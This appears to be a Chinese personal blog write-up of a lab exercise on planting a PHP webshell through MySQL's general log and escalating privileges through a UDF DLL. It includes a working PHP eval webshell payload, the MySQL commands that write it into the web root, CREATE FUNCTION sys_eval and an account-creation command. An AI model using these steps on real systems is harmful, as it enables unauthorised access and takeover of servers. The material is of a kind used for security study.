MYSQL写shell与提权

secure-file-priv

MYSQL的secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制,如果是null,表示mysql不允许导入导出,图中表示mysql的导入和导出被限制在/var/lib/mysql-files/目录下enter description hereenter description hereenter description here可以看到,无论是写还是读文件,都只能在/var/lib/mysql-files/下进行。

Windows下通过日志写shell

Windows下,show variables like '%secure%'enter description here可以看到mysql不允许导入导出,直接写shell是不行的。然后可以看看log的位置,show variables like 'general_log%';enter description here可以看到phpstudy,因此猜测网站根目录是C:\phpStudy\WWW\,接着,开启日志记录:set global general_log='on';然后再将日志文件导出到指定目录:set global general_log_file='C:/phpstudy/WWW/comrade.php';要注意的是,windows下的目录用的是反斜杠,但是在用mysql指定目录的时候用的是正斜杠。然后,select '<?php eval($_POST["comrade"]);?>',这时候日志文件就会变成这样enter description here直接可以蚁剑连上enter description here最后关闭log记录set global general_log=off;这时候通过蚁剑的终端可以看到,用户权限较低,创建用户失败enter description herenet user comrade 666 /add的意思是创建一个comrade用户,密码666。

UDF提权

UDF

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数。例如select count(*) from table;count是MySQL内部的方法,有时候MySQL内部方法不能满足我们的需求,所以MySQL提供了对外的接口,允许用户自定义函数,开发UDF需要用C/C++。

动态链接库

动态链接库是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。
动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 文件中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。DLL 还有助于共享数据和资源。多个应用程序可同时访问内存中单个 DLL 副本的内容。
Windows 中,DLL 多数情况下是带有 “.dll” 扩展名的文件,但也可能是 “.ocx”或其他扩展名;Linux系统中常常是 “.so” 的文件。

提权分析

udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

过程

在MySQL版本>5.1的时候,udf.dll文件要放在MySQL安装目录下的lib/plugin目录下,这里我卡住了很久,不知道win10的udf.dll放在哪里,后面发现,sqlmap是有自带的MYSQL的udf.dll的,简直神器啊。。。使用sqlmap的dll之前要先解密enter description here再把udf.dll放到相应的目录下,就完成了udf的动态链接库的导出,但是还不能用里面的函数,要用的话还要在MySQL中导入:CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';sys_eval函数可执行任意命令,常见函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

执行命令:enter description hereenter description here主题应该是提权,but,我执行select sys_eval('net user comrade 666 /add');没有任何反应鸭…

Referer

https://xz.aliyun.com/t/2719#reply-10710
https://www.jianshu.com/p/5b34c1b6dee7